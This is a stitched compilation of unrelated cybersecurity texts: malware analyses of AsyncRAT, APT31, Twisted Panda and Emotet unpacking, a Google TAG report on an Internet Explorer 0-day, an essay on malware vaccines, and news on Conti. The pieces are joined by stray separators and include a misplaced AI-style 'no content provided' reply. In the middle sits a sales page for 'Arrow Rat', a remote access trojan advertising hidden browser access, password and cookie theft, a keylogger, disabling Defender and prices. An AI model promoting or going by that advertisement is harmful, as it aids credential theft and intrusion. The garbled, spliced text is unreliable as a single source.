The malware checks if a process has administrator privilege to perform a scheduled task every time a user logs on to run or has normal user privilege to modify the `Software\Microsoft\Windows\CurrentVersion\Run` subkey to be added to the list of startup processes.
### BSOD
Malware passes this step in the main function because `BDOS = false`. Otherwise, it would have verified that the user is an administrator and the operating system has been switched to the critical state.
To learn more about `RtlSetProcessIsCritical` and what its risks are, this link explains in-depth.
### Finishing Configurations
So far, the configuration has been done, and the malware will run almost forever. The next step will establish the connection with the C2 server.
### Connection with C2
I won’t explain the code too much at this level of analysis because it’s a development problem; I’m just explaining what’s going on. The malware creates an infinite loop to connect to C2, and the first thing it does is check if it’s already connected or not, then sleeps for 5 seconds to free up resources so Windows won’t crash.
I’ll explain a little bit about what happens when malware disconnects. First, it calls a Reconnect function to dispose of any packets between each other. Then it initializes a new TCP client connection through the TLS protocol for a secure connection. You can check the code by yourself.
### Server Side Operations
When the victim runs the malware in any way, whether by phishing mail or otherwise persuaded by another method, it appears to the hacker that he has run the program, and here the victim is completely controlled in a terrifying way.
### Conclusion
Malware declares all settings AES256 then tries to connect the victim machine to the C2 server. From this point, all commands come from the other end of the world through the C2 server, which were not embedded in the code. Finally, I hope you had fun and learned something new. See you in another analysis report.
## IOCs
**Hashes**
- Packed: 8021f8aa674ce3a2ccb2e8f917ebaf5b638607447f0df0e405e837dd2e7a7ccd
- Unpacked: bc61724d50bff04833ef13ae13445cd43a660acf9d085a9418b6f48201524329
**C2s**
- jeazerlog.duckdns.org:6606
- jeazerlog.duckdns.org:7707
- jeazerlog.duckdns.org:8808
**MUTEXs**
- AsyncMutex_6SI8OkPnk
**REGs**
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run |
# APT31 New Dropper: Target Destinations - Mongolia, Russia, the U.S., and Elsewhere
**Published on 3 August 2021**
## Introduction
PT Expert Security Center (PT ESC) specialists regularly track the activity of hacker groups and the emergence of new information security threats. During monitoring in April 2021, a mailing list with previously unknown malicious content was sent to Mongolia. Some of the files found during the study had interesting names, such as "хавсралт.scr" ("havsralt.scr") and "Информация_Рб_июнь_2021_года_2021062826109.exe," which contained a remote access trojan (RAT). Similar attacks were subsequently identified in Russia, Belarus, Canada, and the United States. From January to July 2021, approximately 10 attacks were carried out using the discovered malware samples. A detailed analysis helped correlate this malware with the activity of the APT31 group.
This group, also known as Judgment Panda (CrowdStrike) and Zirconium (Microsoft), has been active since at least 2016. The group is presumed to be of Chinese origin, providing data to the Chinese government and state-owned enterprises to achieve political, economic, and military advantages. Cyberespionage is of key interest, targeting the government sector, aerospace and defense enterprises, international financial companies, and the high-tech sector. The group's victims have included the government of Finland and, it is presumed, the governments of Norway and Germany. The group also attacked organizations and individuals close to U.S. presidential candidates during the 2020 campaign. Recent attacks on companies in France, involving the hacking of home and office routers, have also been linked to the group.
In this article, we will study the malware created by the group, focusing on the types of droppers discovered and the tricks used by its developers.
## Analysis of Malicious Content
### Dropper
The main objective of the dropper is to create two files on the infected computer: a malicious library and an application vulnerable to DLL Sideloading. Both files are always created at the same path: `C:\ProgramData\Apacha`. If this directory does not exist, it is created, and the process is restarted.
At the second stage, the application launched by the dropper loads the malicious library and calls one of its functions. Notably, MSVCR100.dll was chosen as the name of the malicious library in all cases. A library with the same name is included in Visual C++ for Microsoft Visual Studio and is available on almost all PCs, but in a legitimate case, it is located in the System32 folder. The size of the malicious library is much smaller than the legitimate one.
The library contains names that can be found in the legitimate MSVCR100.dll, making it as identical to the original version as possible. However, the number of exports in the malicious sample is much smaller, and most of them are ExitProcess calls.
During the analysis of malware samples, PT ESC specialists detected different versions of droppers that contain the same set of functions. The main difference is the name of the directory in which the files contained in the dropper will be created. However, in all instances studied, the directories found in `C:\ProgramData\` were used.
The version of the dropper that downloads all files from the control server is particularly noteworthy. At the first stage, the presence of a working directory is checked, after which a connection is made to the control server, and the necessary data is downloaded from it. Communication with the server is not encrypted, nor is the control server's address inside the malware. Downloaded files are written to the created working directory.
Examining the open directories of control servers revealed unencrypted libraries. In some cases, particularly during attacks on Mongolia, the dropper was signed with a valid digital signature, which PT ESC experts believe was most likely stolen.
### Malicious Library
Execution commences with receipt of a list of launched processes, which has no impact and is not used anywhere. The library checks for the presence of the file `C:\ProgramData\Apacha\ssvagent.dll`, the encrypted main load downloaded from the server. If this file does not exist, the address of the control server from which the download will be performed is decrypted using a 5-byte XOR with a key built into the library.
After decrypting the C2 address, it connects to the control server and downloads the encrypted payload from it. The received data is saved in the file `C:\ProgramData\Apacha\ssvagent.dll`, and the legitimate application ssvagent.exe is restarted. The library then writes the legitimate ssvagent.exe to startup via the registry.
After this, the file downloaded from the server is decrypted using a XOR operation with a 5-byte key. The decrypted data is placed in the application memory, and control is transferred to it.
### Payload
The main library starts its execution by creating a package that will be sent to the server. The package is created from three parts: main heading, hash, and encrypted data. The main heading has a specific structure, and to generate a hash, the malware obtains the MAC address and PC name, concatenates them, and takes an MD5 hash from the resulting value.
The generated package is encrypted with RC-4 with the key 0x16CCA81F, which is embedded in the encrypted data and sent to the server. After this, malware waits for commands from the server.
The list of commands that the malware implements includes:
- 0x3: get information on mapped drives.
- 0x4: perform file search.
- 0x5: create a process, communication through the pipe.
- 0xA: create a process via ShellExecute.
- 0xC: create a new stream with a file download from the server.
- 0x6, 0x7, 0x8, 0x9: search for a file or perform the necessary operation via SHFileOperationW.
- 0xB: create a directory.
- 0xD: create a new stream, sending the file to the server.
- 0x11: self-delete.
The code for processing the last command is particularly intriguing: all created files and registry keys are deleted using a bat-file.
## Attribution
During their investigation, PT ESC specialists found a Secureworks report describing the APT31 DropboxAES RAT trojan. Analysis of the detected malware instances allows us to assert that the group is also behind the attack studied. Numerous overlaps were found in functionality, techniques, and mechanisms used, including the names of the libraries used and the paths along which the malware working directories are located.
The main difference between this version of the malware and that reviewed by Secureworks lies in the communication of the main load with the control server. In the cases studied, there was a custom communication protocol that Dropbox does not use to exchange data.
## Network Infrastructure
The detected malware samples revealed no overlaps in the network infrastructure. However, in several cases, the payload accessed nodes other than those from which it was downloaded. An interesting domain, inst.rsnet-devel[.]com, was identified, which imitates the domain of federal government bodies in the Russian Federation, indicating a potential attack on government organizations.
## Conclusion
In the study, PT ESC specialists analyzed new versions of the malware used by APT31 in attacks from January to July this year. The revealed similarities with earlier versions suggest that the group is expanding its interests to countries where its growing activity can be detected, particularly Russia. Further instances of this group being used in attacks, including against Russia, are expected.
## IOCs
**File** | **MD5** | **SHA-1** | **SHA-256**
--- | --- | --- | ---
jconsole.exe | 3f5ea95a5076b473cf8218170e820784 | 765bd2fd32318a4cb9e4658194fe0fb5d94568e0 | 33f136069d7c3a030b2e0738a5ee80d442dee1a202f6937121fa4e92a775fead
news.exe | 56450799fe4e44d7c5aff84d173760e8 | 10037b4533df13983a75d74dcea32dc73665700c | 679955ff2a97ea11a181ae60c775eff78fadd767bc641ca0d1cff86a26df8ac8
хавсралт.scr | d22670ab9b13de79e442100f56985032 | 6e7540fa001fc992d2050b97ea17686d34863740 | 78cc364e761701455bdc4bce100c2836566e662b87b5c28251c178eba2e9ce7e
president_email.exe | 8e744f7b07484afcf87c454c6292e944 | da845d8219d3315c02f84c27094965d02cdaa76c | 5d0872d07c6837dbc3bfa85fd8f79da3d83d7bb7504a6de7305833090b214f2c
Информация_Рб_июнь_2021_года_2021062826109.exe | 49bca397674f67e4c069068b596cab3e | d13d6d683855f5a547b96b6e2365c6f49a899d62 | 874b946b674715c580e7b379e9597e48c85c04cca3a2790d943f56600b575d2f
MSVCR100.dll | 8cefaa146178f5c3a297a7895cd3d1fc | 81779c94dbe2887ff1ff0fd4c15ee0c373bd0b40 | c15a475f8324fdfcd959ffc40bcbee655cbdc5ab9cbda0caf59d63700989766f
## Network Indicators
- gitcloudcache[.]com
- edgecloudc[.]com
- api[.]hostupoeui[.]com
- api[.]flushcdn[.]com
- const[.]be-government[.]com
- drmtake[.]tk
- inst[.]rsnet-devel[.]com
- 20[.]11[.]11[.]67
## MITRE
| ID | Name | Description |
| --- | --- | --- |
| T1587.001 | Malware | APT31 develops malware and malware components that can be used during targeting. |
| T1587.002 | Develop Capabilities: Code Signing Certificates | APT31 uses code signing to sign their malware and tools. |
| T1566 | Phishing | APT31 sends phishing messages to gain access to victim systems. |
| T1204.002 | User Execution: Malicious File | APT31 relies upon a user opening a malicious file to get it executed. |
| T1059.003 | Command and Scripting Interpreter: Windows Command Shell | APT31 uses the Windows command shell for command execution. |
| T1106 | Native API | APT31 directly interacts with the native OS application programming interface (API) to execute behaviors. |
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | APT31 achieves persistence by adding a program to a Registry run key. |
| T1574 | Hijack Execution Flow: DLL Search Order Hijacking | APT31 executes their own malicious payloads by hijacking the way operating systems run programs. |
| T1036 | Masquerading | APT31 manipulates features of their artifacts to make them appear legitimate to users. |
| T1140 | Deobfuscate/Decode Files or Information | APT31 uses mechanisms to decode or deobfuscate information. |
| T1027 | Obfuscated Files or Information | APT31 uses encryption to make it difficult to detect or analyze an executable file. |
| T1112 | Modify Registry | APT31 uses the Windows registry for persistence. |
| T1082 | System Information Discovery | APT31 obtains detailed information about the operating system. |
| T1005 | Data from Local System | APT31 uses backdoor functionality to exfiltrate any file on the infected machine. |
| T1001 | Data Obfuscation | APT31 obfuscates command and control traffic to make it more difficult to detect. |
| T1521 | Standard Cryptographic Protocol | APT31 uses data hiding in C&C with RC4. |
| T1043 | Commonly Used Port | APT31 uses ports 80 and 443 for communication. |
| T1071.001 | Application Layer Protocol: Web Protocols | APT31 uses HTTP and HTTPS protocols to communicate with control servers. |
| T1020 | Automated Exfiltration | APT31 uses automatic exfiltration of stolen files. |
| T1041 | Exfiltration Over C2 Channel | APT31 uses C&C channel to exfiltrate data. | |
# Twisted Panda: Chinese APT Launch Spy Operation Against Russian Defence Institutes
In an analysis published recently by specialists at Check Point Research, a new spy campaign was discovered, dubbed “Twisted Panda”. This spy operation primarily targeted two Russian defense institutes and a research facility in Belarus.
In the course of an ongoing espionage campaign that has been taking place for several months, this campaign forms part of a larger, Chinese state-sponsored operation. A variety of malicious stages and payloads have been deployed by the threat actors in this campaign. Moreover, there are also phishing emails containing sanctions-related information that has been sent to Russian entities within the Rostec Corporation, a Russian defense conglomerate.
The invasion of Ukraine was exploited by another Chinese APT group, Mustang Panda, to target Russian organizations at the same time. It is possible that Twisted Panda is a part of the same spy ring as Mustang Panda or Stone Panda, aka APT10, another Beijing-sponsored spy group.
## Infection chain
As recently on March 23, several Russian research institutes affiliated with the defense industry received malicious emails. A malicious document was attached to the emails with the subject “List of persons under US sanctions for invading Ukraine”, which could be accessed through a link to a fake Russian Health Ministry website minzdravros[.]com. An email with the subject “US Spread of Deadly Pathogens in Belarus” was sent to an unknown entity in Minsk, Belarus on the same day. While all of the documents attached to this email are crafted to appear to be official documents, bearing the official emblems and titles of the Russian Ministry of Health.
A template is downloaded from the URLs for each document in a similar format that can be easily exported. Several API functions are imported into this external template from kernel32, through a macro code. When the exported function R1 is executed, the malicious files are finalized after initialization by the exported program.
## New Spinner backdoor
As the payload, the Spinner, a newly added backdoor, is the main component, which is obfuscated by using two methods of obfuscation. It has been seen that earlier samples attributed to Stone Panda and Mustang Panda attested to the combination of these two obfuscation methods.
There are two major problems, and here they are:
- Control-flow flattening: Which makes the code flow not linear.
- Opaque predicates: Which causes unneeded calculations to be performed in the binary.
In this case, Spinner is the backdoor used by a command-and-control server for the purpose of running additional payloads. China’s five-year plan also identifies Twisted Panda as part of its effort to improve its scientific and technological capabilities. |
It seems there is no content provided for me to clean up and format. Please provide the text you would like me to process, and I'll be happy to assist! |
# Internet Explorer 0-day Exploited by North Korean Actor APT37
**Clement Lecigne**
**December 7, 2022**
To protect our users, Google’s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild. This blog will describe a 0-day vulnerability, discovered by TAG in late October 2022, embedded in malicious documents and used to target users in South Korea. We attribute this activity to a group of North Korean government-backed actors known as APT37. These malicious documents exploited an Internet Explorer 0-day vulnerability in the JScript engine, CVE-2022-41128. Our policy is to quickly report vulnerabilities to vendors, and within a few hours of discovering this 0-day, we reported it to Microsoft and patches were released to protect users from these attacks.
This is not the first time APT37 has used Internet Explorer 0-day exploits to target users. The group has historically focused their targeting on South Korean users, North Korean defectors, policymakers, journalists, and human rights activists.
## Microsoft Office Document Using Tragic News as a Lure
On October 31, 2022, multiple submitters from South Korea reported new malware to us by uploading a Microsoft Office document to VirusTotal. The document, titled “221031 Seoul Yongsan Itaewon accident response situation (06:00).docx”, references the tragic incident in the neighborhood of Itaewon, in Seoul, South Korea during Halloween celebrations on October 29, 2022. This incident was widely reported on, and the lure takes advantage of widespread public interest in the accident.
The document downloaded a rich text file (RTF) remote template, which in turn fetched remote HTML content. Because Office renders this HTML content using Internet Explorer (IE), this technique has been widely used to distribute IE exploits via Office files since 2017 (e.g., CVE-2017-0199). Delivering IE exploits via this vector has the advantage of not requiring the target to use Internet Explorer as its default browser, nor to chain the exploit with an EPM sandbox escape.
Upon investigation, TAG observed the attackers abused a 0-day vulnerability in the JScript engine of Internet Explorer.
## TAG Identified Internet Explorer 0-day
The vulnerability resides within “jscript9.dll”, the JavaScript engine of Internet Explorer, and can be exploited to execute arbitrary code when rendering an attacker-controlled website. The bug itself is an incorrect JIT optimization issue leading to a type confusion and is very similar to CVE-2021-34480, which was identified by Project Zero and patched in 2021. TAG reported the vulnerability to Microsoft on October 31, 2022, and the label CVE-2022-41128 was assigned on November 3, 2022. The vulnerability was patched on November 8, 2022.
## Analysis of the Exploit
In a typical delivery scenario, the initial document would have the Mark-of-the-Web applied. This means the user has to disable protected view before the remote RTF template is fetched.
When delivering the remote RTF, the web server sets a unique cookie in the response, which is sent again when the remote HTML content is requested. This likely detects direct HTML exploit code fetches which are not part of a real infection. The exploit JavaScript also verifies that the cookie is set before launching the exploit. Additionally, it reports twice to the C2 server: before launching the exploit and after the exploit succeeds.
TAG also identified other documents likely exploiting the same vulnerability and with similar targeting, which may be part of the same campaign. Further details on those documents can be found in the “Indicators” section below.
The delivered shellcode uses a custom hashing algorithm to resolve Windows APIs. The shellcode erases all traces of exploitation by clearing the Internet Explorer cache and history before downloading the next stage. The next stage is downloaded using the same cookie that was set when the server delivered the remote RTF.
Although we did not recover a final payload for this campaign, we’ve previously observed the same group deliver a variety of implants like ROKRAT, BLUELIGHT, and DOLPHIN. APT37 implants typically abuse legitimate cloud services as a C2 channel and offer capabilities typical of most backdoors.
Additional technical information on the vulnerability, the exploit, and the patch is available in the Root Cause Analysis.
## Conclusions
TAG is committed to sharing research to raise awareness on bad actors like APT37 within the security community, and for companies and individuals that may be targeted. By improving understanding of the tactics and techniques of these types of actors, we hope to strengthen protections across the ecosystem. We will also continuously apply these findings to improve the safety and security of our products and continue to effectively combat threats and protect users who rely on our services.
We’d be remiss if we did not acknowledge the quick response and patching of this vulnerability by the Microsoft team.
## Indicators of Compromise (IOCs)
**Initial documents:**
- 56ca24b57c4559f834c190d50b0fe89dd4a4040a078ca1f267d0bbc7849e9ed7
- af5fb99d3ff18bc625fb63f792ed7cd955171ab509c2f8e7c7ee44515e09cebf
- 926a947ea2b59d3e9a5a6875b4de2bd071b15260370f4da5e2a60ece3517a32f
- 3bff571823421c013e79cc10793f238f4252f7d7ac91f9ef41435af0a8c09a39
- c49b4d370ad0dcd1e28ee8f525ac8e3c12a34cfcf62ebb733ec74cca59b29f82
**Remote RTF template:**
- 08f93351d0d3905bee5b0c2b9215d448abb0d3cf49c0f8b666c46df4fcc007cb
**C2:**
- word-template[.]net
- openxmlformat[.]org
- ms-office[.]services
- ms-offices[.]com
- template-openxml[.]com |
# Malware Vaccines Can Prevent Pandemics, Yet Are Rarely Used
Vaccines have distinct advantages over detection-based defense mechanisms, so we developed a vaccine to protect from one of the most notorious ransomware families—STOP/DJVU. But unlike vaccines against biological viruses, malware vaccines are not particularly common. This article explains why.
## Inner Workings of Malware Vaccines
Malware vaccines apply harmless parts of malware to a system to trick malware into malfunction. It is not a coincidence that the security industry adopted the term vaccine from medicine because there is a resemblance to medical vaccines which apply inactive or weakened parts of viruses to a person in order to protect. But the analogy stops there. Malware vaccines do not improve the security response of the system.
The harmless malware parts that vaccines apply are often called infection markers. Malware usually tries not to infect a system twice because this has unintended consequences. For that reason, malware may place infection markers after a successful infection. If the malware finds such a marker, it will refrain from installing itself again. A vaccine just places those infection markers without the malware, thus tricking the malware into thinking it already infected the system.
Vaccines can use other things than infection markers; for example, they may cause an error in the malware by providing invalid data. Some malware writes data into the registry or into files like encryption keys, configuration settings, or C2C servers. A vaccine may place invalid data that causes the malware to crash, malfunction, or simply not work as intended by the author. A simple example would be the application of a non-existing C2C server for remotely controlled malware. One well-described vaccine that crashed previous versions of Emotet with a buffer overflow is called EmoCrash.
In the case of the STOP/DJVU ransomware vaccine, the ransomware is tricked into not encrypting files anymore. Without file encryption, there is no leverage to demand a ransom; thus, the main malicious behavior is disabled by the vaccine.
Another, albeit different case, is the Logout4Shell vaccine by Cybereason. This vaccine is benign malware akin to the Welchia worm. Benign malware has malware characteristics like worm propagation or virus replication, but the payload is meant to fix a problem. The Welchia worm became famous for using the same propagation mechanisms as the Blaster worm to clean Blaster infections as well as patching vulnerable systems. Logout4Shell is similar to Welchia because it actively exploits the Log4Shell vulnerability in order to fix the security hole. The exploitation itself is problematic because the changes can be applied without the consent of the system's owner. Cybereason states in a Bleeping Computer article that the benefits outweigh the ethical concerns considering the severity of the Log4Shell exploit.
## Advantages of Vaccines Over Detection Mechanisms
Malware vaccines have some traits in common with those administered to combat biological infections. Vaccines have some unique advantages. They are passive; thus, unlike antivirus scanning, they have no performance overhead for the system. Depending on the malware, they may also work on already infected systems by shutting down the malicious behavior of the dormant infection. Vaccines also work independently from obfuscation, packing, polymorphism, metamorphism, or similar evasion techniques.
In a study from 2012, at least 59.4% of the malware samples used infection markers. This study is obviously outdated, but it is the only one I could find about infection marker prevalence. I believe that the magnitude did not change, and vaccines could be developed for a substantial amount of malware families.
Malware vaccines are actively developed by some security companies, e.g., Minerva; however, compared to other malware protection mechanisms like signature-based detection, vaccinations seem rather unpopular. Why?
To understand this, let's take a look at a specific vaccine first: The STOP/DJVU ransomware vaccine.
## STOP/DJVU Ransomware Vaccine
The STOP/DJVU ransomware vaccine was created by John Parol and me. We published a tool on GitHub so that everyone can inspect and use it. Soon after publishing it, the tool got many false positive detections by antivirus vendors. Additionally, we added a section to our tool's readme to explain that systems are not entirely protected from STOP/DJVU ransomware after using this vaccine. The ransomware will still do things to the system that are not tied to encryption:
- In some cases, the ransomware may still create ransom notes.
- If files are smaller than 6 bytes, the ransomware will still rename them but not change their contents.
- This ransomware is often not alone but ships with additional malware like Vidar stealer, so disinfection of the affected system is still necessary despite the vaccine.
So the only thing that the vaccine prevents is the encryption and (for most files) renaming. It is not sure that the vaccine stays on the system because security products will likely remove it. STOP/DJVU ransomware itself may also get an update at some point so that the vaccine does not work anymore.
## Vaccines Are No Silver Bullet
The main problem of vaccines is that they make a system look infected to other security products. Many of the more tech-savvy users use malware scanners in addition to their main antivirus product, and these scanners detect infection markers as a sign of a prevalent infection. Not only do they remove these infection markers, but they will find them repeatedly when the antivirus product re-applies them. That turns using the products alongside each other into an unpleasant experience for the user, who may come to believe that their main antivirus does not work against this threat and that their system is never properly cleaned.
Forcing malware scanners to not detect such infection markers is a bad idea because this would eventually weaken their detection against real threats. These markers are actual infection signs and should continue to be detected as such. Hoping and preaching that users only use one security suite from one vendor is also not realistic. We have to live with the cross-usage of other scanners.
Additionally, vaccine protection is oftentimes silent, which means users will never know that there was an infection attempt. This is not desirable because users need to know that, for example, the program they downloaded was a bad idea.
Malware vaccines may stay a niche defense mechanism for everyday malware, but they are specifically useful to combat pandemic outbreaks. In that regard, they are not different from medical vaccines. |
# Arrow Rat
## Act in the Shadows
Access Any Application With Arrow Rat Completely Hidden.
### Supported Browsers & Mail Applications
- **Chrome**
Get full access in Chrome with Arrow Rat completely hidden. Browser Profile Cloner: Session, Cookie, Password, History.
- **Firefox**
Get full access in Firefox with Arrow Rat completely hidden. Browser Profile Cloner: Session, Cookie, Password, History.
- **Edge**
Get full access in Edge with Arrow Rat completely hidden. Browser Profile Cloner: Session, Cookie, Password, History.
- **Brave**
Get full access in Brave with Arrow Rat completely hidden. Browser Profile Cloner: Session, Cookie, Password, History.
- **Opera GX**
Get full access in Chrome with Arrow Rat completely hidden. Coming soon: Browser Profile Cloner: Session, Cookie, Password, History.
- **FoxMail**
Get full access in Foxmail with Arrow Rat completely hidden. Browser Profile Cloner: Session, Cookie, Password, History.
- **Outlook**
Get full access in Outlook with Arrow Rat completely hidden. Browser Profile Cloner: Session, Cookie, Password, History.
- **Thunderbird**
Get full access in Thunderbird with Arrow Rat completely hidden. Browser Profile Cloner: Session, Cookie, Password, History.
## Arrow Rat Features
### Outstanding Features
- Remote HVNC
- Hidden Desktop
- Hidden Browsers
- Hidden Chrome
- Hidden Firefox
- Hidden Edge
- Hidden Internet Explorer
- Hidden Pale Moon
- Hidden Pale Waterfox
- Hidden Explorer
### Remote System
- System Information
- File Manager
- Start Up Manager
- Task Manager
- Remote Shell
- TCP Connection
- Reverse Proxy
- UAC Exploit
- Disable WD
- Format All Drivers
- Registry Editor
### Stub Features
- HVNC Features, Included all the
- Change client name
- Enable install
- Anti kill
- Disable defender
- Hide file
- Hide folder
- Change registry name
- Encrypted connection
- Change assembly clone
- Export as ShellCode
- Enable key logger Offline/Online
- Start up/persistence
- Much more...
### Password Recovery
- Google Chrome
- Chromium
- Opera software Opera
- Opera software Opera GX
- Brave software Brave-Browser
- Epic Privacy Browser
- Amigo
- Vivaldi
- Orbitum
- Mail.Ru Atom
- Kometa
- Comodo Dragon
- Torch
- Comodo
- Slimjet
- 360Browser
- Maxthon3
- K-Melon
- Sputnik
- Nichrome
- CocCoc Browser
- uCozMedia Uran
- Chromodo
- Yandex Browser
## About Arrow Rat
### Arrow Rat Review
In the video attached below, you may find a demonstration of the software. How it works and how you will be able to use it.
### Pricing Plans
- **Monthly**: $100.00
Arrow Rat Full Hidden Access: Hidden Desktop, Hidden Browsers, Hidden CMO, Clone Profile, Hidden PowerShell, Hidden Explorer, Hidden Startup, Hidden Applications.
- **3 Months**: $200.00
Arrow Rat Full Hidden Access: Hidden Desktop, Hidden Browsers, Hidden CMO, Clone Profile, Hidden PowerShell, Hidden Explorer, Hidden Startup, Hidden Applications.
- **Lifetime**: $400.00
Arrow Rat Full Hidden Access: Hidden Desktop, Hidden Browsers, Hidden CMO, Clone Profile, Hidden PowerShell, Hidden Explorer, Hidden Startup, Hidden Applications.
## Contact Us
Telegram/HackForums Support.
Email: [email protected]
Support Email: [email protected], [email protected], [email protected]
Working Days: Coming Soon... |
# Emotet Analysis Part 1: Unpacking
**Introduction**
This will be my first post in the blog; I will make a series of posts about Emotet. Emotet is a Trojan that is primarily spread through spam emails (malspam). We’re going to dig deep into the analysis of this Trojan. The first part is about unpacking the malware, then we will try to analyze the different modules and techniques used by the malware to compromise a machine. So fire up your virtual machine and let’s start.
**Triage**
The first thing I always do before opening a sample in IDA or Xdbg is opening the binary first in a hex editor. In my case, I will use CFF Explorer. Opening the sample in CFF Explorer shows that we’re dealing with a 32-bit binary.
Let’s check the import section; the malware uses only one library, which is Kernel32. That’s the first sign indicating that we’re dealing with a packed binary. Two interesting API functions are used:
1. VirtualAlloc
2. VirtualProtect
The VirtualAlloc function allocates memory while the VirtualProtect function changes the protection on a region of committed pages in the virtual address space. Most of the time, these two functions are used by malware during the unpacking process. To make sure that our sample is packed, let’s open the binary on Die (Detect-It-Easy). The status bar says that it’s 91% packed and the .text section has a high entropy, which is a strong indication that the malware is packed and we should unpack it for further analysis.
**IDA**
Now that we’re sure that our sample is packed, let’s open it in IDA and try to find the function responsible for unpacking. Click on Imports to reveal all the functions used by the binary. Search for VirtualAlloc and double-click on it.
The VirtualAlloc function is used two times by the same function, sub_1001AFF0. Double-click on sub_1001AFF0 and scroll down; we notice that the first function called after VirtualAlloc is sub_10022C40, so maybe we’ve found our unpacking function. To make sure, let’s open it in Xdbg and figure out.
**Unpacking**
Open your X32dbg and paste your sample into it. Place a breakpoint on VirtualAlloc and hit run. Xdbg will keep running until it hits the breakpoint. After that, click two times on Execute till run.
Check the EAX register; it contains the return address of the allocated memory by VirtualAlloc. Right-click on that value and click on Follow in Dump. As we said earlier, the function after VirtualAlloc is responsible for unpacking. Step over it and keep your eyes on the dump window at the bottom.
After executing the sub_10022C40 function, we can finally see our unpacked malware. Dump it and save it somewhere on your machine. Right-click on the dump window and Follow in memory map. Another right-click on the address of the unpacked binary, then Dump memory to file.
Now that we have our sample unpacked and ready for analysis, let’s open it in X32dbg. It seems that our unpacked binary is missing and it should be fixed.
**Fixing**
To fix the unpacked binary, there are several methods to do that. We will use LordPE to automate the fixing. So all we should do is to open LordPE and click on options, then uncheck Wipe Relocation and Rebuild Import Table options. Finally, click on normal, then OK.
Drag your unpacked sample to LordPE and it will be fixed automatically. Finally, open your fixed binary in X32dbg and notice that it’s more readable right now.
**Reference**
1. New Emotet 11/2021 - Reverse Engineering VBA Obfuscation + Unpacking
2. How to Unpack Malware with x64dbg |
# Research, News, and Perspectives
## Celebrating 15 Years of Pwn2Own
Join Erin Sindelar, Mike Gibson, Brian Gorenc, and Dustin Childs as they discuss Pwn2Own's 15th anniversary, what we've learned, and how the program will continue to serve the cybersecurity community in the future.
**Latest News** May 25, 2022
## S4x22: ICS Security Creates the Future
The ICS Security Event S4 was held for the first time in two years, bringing together more than 800 business leaders and specialists from around the world to Miami Beach on 19-21 Feb 2022. The theme was CREATE THE FUTURE.
**Security Strategies** May 12, 2022
## Security Above and Beyond CNAPPs
How Trend Micro’s unified cybersecurity platform is transforming cloud security.
**Security Strategies** May 10, 2022
## Bruised but Not Broken: The Resurgence of the Emotet Botnet Malware
During the first quarter of 2022, we discovered a significant number of infections using multiple new Emotet variants that employed both old and new techniques to trick their intended victims into accessing malicious links and enabling macro content.
**Research** May 19, 2022
## New APT Group Earth Berberoka Targets Gambling Websites With Old and New Malware
We recently found a new advanced persistent threat (APT) group that we have dubbed Earth Berberoka (aka GamblingPuppet). This APT group targets gambling websites on Windows, macOS, and Linux platforms using old and new malware families.
**April 27, 2022**
## Why Trend Micro is Evolving Its Approach to Enterprise Protection
**Security Strategies** May 17, 2022
## New Linux-Based Ransomware Cheerscrypt Targets ESXi Devices
Trend Micro Research detected “Cheerscrypt”, a new Linux-based ransomware variant that compromises ESXi servers. We discuss our initial findings in this report.
**Research** May 25, 2022
## Fake Mobile Apps Steal Facebook Credentials, Cryptocurrency-Related Keys
We recently observed a number of apps on Google Play designed to perform malicious activities such as stealing user credentials and other sensitive user information, including private keys.
**Research** May 16, 2022
## Uncovering a Kingminer Botnet Attack Using Trend Micro™ Managed XDR
Trend Micro’s Managed XDR team addressed a Kingminer botnet attack conducted through an SQL exploit. We discuss our findings and analysis in this report.
**Research** May 18, 2022
## The Fault in Our kubelets: Analyzing the Security of Publicly Exposed Kubernetes Clusters
While researching cloud-native tools, our Shodan scan revealed over 200,000 publicly exposed Kubernetes clusters and kubelet ports that can be abused by criminals.
**May 24, 2022**
## Examining the Black Basta Ransomware’s Infection Routine
We analyze the Black Basta ransomware and examine the malicious actor’s familiar infection tactics.
**Research** May 09, 2022 |
# Ransomware gang Conti has already bounced back from damage caused by chat leaks, experts say
A Twitter account known as ContiLeaks debuted to much fanfare in late February, with people around the globe watching as tens of thousands of leaked chats between members of the Russia-based ransomware gang Conti hit the web. In the days after the leaks, many celebrated what they thought would be a devastating blow to Conti, which a Ukrainian security researcher had apparently punished by leaking the internal chats because the gang threatened to “strike back” at any entities that organized “any war activities against Russia.”
But ten days after the leaks began, Conti appears to be thriving. Experts say the notorious ransomware gang has pivoted all too easily, replacing much of the infrastructure that was exposed in the leaks while moving quickly to hit new targets with ransom demands. According to Vitali Kremez, CEO of the cybersecurity firm AdvIntel, by Monday morning Conti had successfully completed two new data breaches at U.S.-based companies.
“Conti is back and still operational and will pursue more targets,” Kremez said. “They’re safe and sound.” Kremez and other experts said that in the days after the chats first leaked on Feb. 27, Conti may have been back on its heels, but it was never fully disabled. The gang’s leadership made a significant effort in the early days following the leaks to transition its infrastructure that was exposed in the hacks to new systems, which slowed down ransomware activity initially, experts said. That interregnum has come to an end.
Allan Liska, a threat analyst at Recorded Future, said that because so many victims do not disclose ransomware attacks it is hard to know if Conti was totally inactive in the first few days after the leaks, but he said his firm had “definitely noticed a slowdown” in activity from Conti. Liska said nothing was posted to Conti’s extortion sites — where the gang publicizes data belonging to users who don’t pay ransoms — for a few days after the leaks began. However, Liska said Conti doesn’t post daily to the site even in normal circumstances so it is hard to know for sure if the two events are linked.
The threat analysis community has been buzzing about Conti’s increasing network activity in the past few days, Liska said. While Liska was unaware of the new data breaches disclosed by Kremez, he said he has heard about a recent increase in “attempted breaches or phishing emails being sent, things like that, that are indicative that they’re [Conti] still trying to gain access.”
“The botnet and the command and control activity is starting to tick back up,” Liska said. Much of Conti’s infrastructure was down in the initial days after the chats leaked — at least 25 different servers were exposed in the leaks, according to Liska, and those remain down. But Liska said Conti’s “command and control” server is very large and not all of it has fallen. Liska said he estimates that Conti has between 50 and 100 servers running at any time, making the 25 or so that have been taken down a survivable injury. In recent days, Liska said, Conti has used the same software that powered the old infrastructure and simply moved everything to new Internet Protocol addresses.
## A history of resilience
Many experts said they are unsurprised by Conti’s staying power. As a collective whose members are highly skilled and anonymous even to each other, nothing short of a law enforcement takedown will truly put them out of business, experts said. John Shier, a senior security adviser at the hardware and software security firm Sophos, said that other ransomware collectives have bounced back from seemingly devastating blows.
